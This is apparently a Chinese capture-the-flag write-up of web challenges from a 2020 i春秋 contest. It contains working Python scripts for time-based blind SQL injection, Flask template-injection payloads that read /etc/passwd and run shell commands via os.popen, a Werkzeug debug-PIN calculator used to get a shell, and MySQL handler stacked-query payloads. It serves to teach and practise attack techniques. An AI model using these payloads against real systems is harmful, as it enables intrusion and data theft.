2020i春秋新春战疫

简单的招聘系统

登陆这里就可以注入

查询这里也可以注入

从登陆这里注入把

爆破数据库名

爆破表名

列名

flag

就很奇怪跑出来的东西

重开容器跑一遍列,估计是flaaag。后面可能是发生了502

再跑一遍。又重发了个容器。感觉这些跑的有问题啊。这个列名绝对就是flaaag。我手动burp验证了。- -不知道为啥每次后面都带着东西,到flaaag就结束了应该。

差点坏事了。又跑出个错误的flag,我手动burp验证了。明明是{,为毛又变成]

噢。我知道了,我电脑弄连着热点,放着音乐,手机连着热点看着直播,影响到了我的网速?导致我正常的request都有有2s延迟了吗。直接调5s /(ㄒoㄒ)/~~

获得了flag。= =忘记截图了

upload

上传了个php,直接getshell,然后./readflag。看返回的response提醒是bypass

上去看一下index.php

<?php
error_reporting(0);
header("Content-type: text/html; charset=utf-8");
$sandbox='sandbox/'.md5($_SERVER['remote_addr']);
echo $sandbox;
mkdir($sandbox);
chdir($sandbox);
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (in_array($ext, ['php,htaccess,ini,'])) {
    die('upload failed');
}

move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']);
echo "<br><br>";
echo "<a href='{$sandbox}/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>";

endif;
?>
<form method="post" enctype="multipart/form-data">
   上传: <input type="file" name="file_upload">
    <input type="submit">
</form>

那个数组怎么就变成了这样,python也不是python,php也不是php。。尴尬。难怪都是非预期了。

这里的if : endif; 实际就是{ }

这种语法比较适合嵌套在HTML中。

盲注

 burp测试过滤了一下函数,union select like updatexml insert into update等

过滤了select,去找了下相关文章https://www.jianshu.com/p/12519879dc44

 

可行。一开始因为'被ban了,换"就可以了。

刚准备好脚本,因为有一些字符串在regexp会影响判断,因为是正则。

import requests
import time
import string
url='http://dd00d648b92a4237b815cb2917e2652d9c44e3e12f0f4db8.changame.ichunqiu.com/index.php'
k=''
for i in range(0,25):
    for j in range(32,128):      #这里鉴于上面两题的flag,可以直接写成for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}- '
        if chr(j) in '^.*$?\'=<>%#+':
            continue
        payload='1 and if(fl4g regexp binary "^{}",sleep(5),1)'.format(k+chr(j))
        params={
        'id':payload,
        }
        startTime=time.time()
        response=requests.get(url=url,params=params)
        if time.time() - startTime >4.5:
            k+=chr(j)
            print('flag_name:%s'%(k))
            break
print(k)

想测试下脚本,爆前四个字符flag,爆到第二个就觉得不对,明明是flag的,怎么是Y了。

原来是环境关了。难受。/(ㄒoㄒ)/~~忘记今天比赛了。没抓紧时间做。第四题都没看到一眼题目。

24晚上看了一下,主办方还开了所有的web环境,听说到25晚上结束。良心。炒鸡感谢。赶快把之前没跑完的跑一下。

easysqli_copy

 看到的一篇文章https://news.linruizhao.com/tech/freebuf/157973/。宽字节+多行,我这里用的预编译绕过。

 通过时间盲注,可行。为啥每次浏览器上时间盲注可以,用python脚本跑老是乱码。气死了啊。大概率是我的脚本的问题,用get请求下次直接get url,不要带params了

后面测试可以了。

import requests
import time
url="http://3397d51f00654a40a6c453953b906199865ba551262f4f0b.changame.ichunqiu.com/index.php?id=1%df%27;"
flag=''
exp0="select fllllll4g from table1"
payload = "set @s=concat({});PREPARE a FROM @s;EXECUTE a;"
for i in range(1,20):
    print("前{0}位".format(i))
    for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}-':
        res=''
        exp = "select if(ascii(substr(({}),{},1))={},sleep(3),1)".format(exp0, i, ord(j))
        for z in exp:
            res += "char(%s),"%(ord(z))
        my_payload = payload.format(res[:-1])
        print('i:'+str(i),'j:'+str(j))
        urll=url+my_payload
        startTime=time.time()
        response=requests.get(url=urll)
        if time.time() - startTime >=2.5:
            flag+=j
            print('flag_name:%s'%(flag))
            break
print(flag)

 

Flaskapp

在decode页面随意输入,一些跳出错误页面

所以是模板注入,并且有waf。

通过payload可以读取到/etc/passwod

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

但是当读取flag的时候,发现不行。应该是过滤了关键字flag,测试发现*,?,都被过滤了。尝试字符拼接。

通过proc/self/cmdline找了一下脚本所在的路径。读一下app.py

尝试读一下/app/app.py

字符串拼接也没绕过去。

发现并不是没绕过去。而是读出来了,只不过我设置了 no no 的话返回waf:字符串

结果 : from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config[SECRET_KEY] = s_e_c_r_e_t_k_e_y
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
    text = StringField(BASE64加密,validators= [DataRequired()])
    submit = SubmitField(提交)
class NameForm1(FlaskForm):
    text = StringField(BASE64解密,validators= [DataRequired()])
    submit = SubmitField(提交)

def waf(str):
    black_list = [flag,os,system,popen,import,eval,chr,request,
                  subprocess,commands,socket,hex,base64,*,?]
    for x in black_list :
        if x in str.lower() :
            return 1


@app.route(/hint,methods=[GET])
def hint():
    txt = 失败乃成功之母!!
    return render_template(hint.html,txt = txt)


@app.route(/,methods=[POST,GET])
def encode():
    if request.values.get(text) :
        text = request.values.get(text)
        text_decode = base64.b64encode(text.encode())
        tmp = 结果  :{0}.format(str(text_decode.decode()))
        res =  render_template_string(tmp)
        flash(tmp)
        return redirect(url_for(encode))

    else :
        text = 
        form = NameForm(text)
        return render_template(index.html,form = form ,method = 加密 ,img = flask.png)

@app.route(/decode,methods=[POST,GET])
def decode():
    if request.values.get(text) :
        text = request.values.get(text)
        text_decode = base64.b64decode(text.encode())
        tmp = 结果 : {0}.format(text_decode.decode())
        if waf(tmp) :
            flash(no no no !!)
            return redirect(url_for(decode))
        res =  render_template_string(tmp)
        flash( res )
        return redirect(url_for(decode))

    else :
        text = 
        form = NameForm1(text)
        return render_template(index.html,form = form, method = 解密 , img = flask1.png)


@app.route(/&lt;name&gt;,methods=[GET])
def not_found(name):
    return render_template(404.html,name = name)

if __name__ == __main__:
    app.run(host=0.0.0.0, port=5000, debug=True)

黑名单

black_list = [flag,os,system,popen,import,eval,chr,request,
                  subprocess,commands,socket,hex,base64,*,?]

后经过师傅提醒说是解pin码,我就去试试。

https://www.jianshu.com/p/cbca419ba075

https://xz.aliyun.com/t/2553#toc-2

解pin码需要6个变量

username就是启动这个Flask的用户

modname为flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__'))为Flask

getattr(mod, '__file__', None)为flask目录下的一个app.py的绝对路径

uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式

get_machine_id()不妨跟进去看一下

 machine-id:81ef01dec0f0eb6d6c0f3752b487b10e

 mac地址:02:42:ac:12:00:04

转化为10进制

绝对路径

 用户名是flaskweb

经过师傅提示,machine-id还是错的,是/proc/self/cgroup  docker的ID

2:pids:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
11:cpu,cpuacct:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
10:hugetlb:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
9:devices:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
8:blkio:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
7:rdma:/
6:memory:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
5:perf_event:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
4:net_cls,net_prio:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
3:freezer:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
2:cpuset:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
1:name=systemd:/docker/f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2
0::/system.slice/containerd.service
import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377957892',# str(uuid.getnode()),  /sys/class/net/ens33/address
    'f3a3a05c96a0a5b36f1af8b3648ad398dc6650ca286ce8c0a39c61bfbbee99b2'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)  

 得到pin码获取python shell

如果想获取控制台输出的内容,那就用os.popen的方法了,popen返回的是一个file对象,跟open打开文件一样操作了,r是以读的方式打开

 

2.24-今天晚上学习了下SSTI,明早补上SSTI的学习笔记总结等。这里可以通过字符串拼接就可以达到命令执行

().__class__.__bases__[0].__subclasses__()[76].__init__.__globals__['__builtins__']['e'+'val']('__imp'+'ort__ ("o"+"s").p'+'open("ls").read()')

字符串拼接即可

blacklist(复现)

是改编强网杯的。

强网杯有两种解法

一种是用比预编译

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;

一种是alter,rename更改表名

这里都禁了,应该要找新姿势。

后面问了一位师傅,告诉了我用handler

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

复现记录:

这题主要是考姿势了,这里啥都禁掉了。主要是select禁止了。新获得的姿势就是利用handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

语法结构:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE
如:通过handler语句查询users表的内容、
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
 引用:https://xz.aliyun.com/t/7169#toc-47  

本地测试:

也可以不加as

payload:

1';handler FlagHere open as yunying;handler yunying read first;

猜你喜欢

转载自www.cnblogs.com/BOHB-yunying/p/12342370.html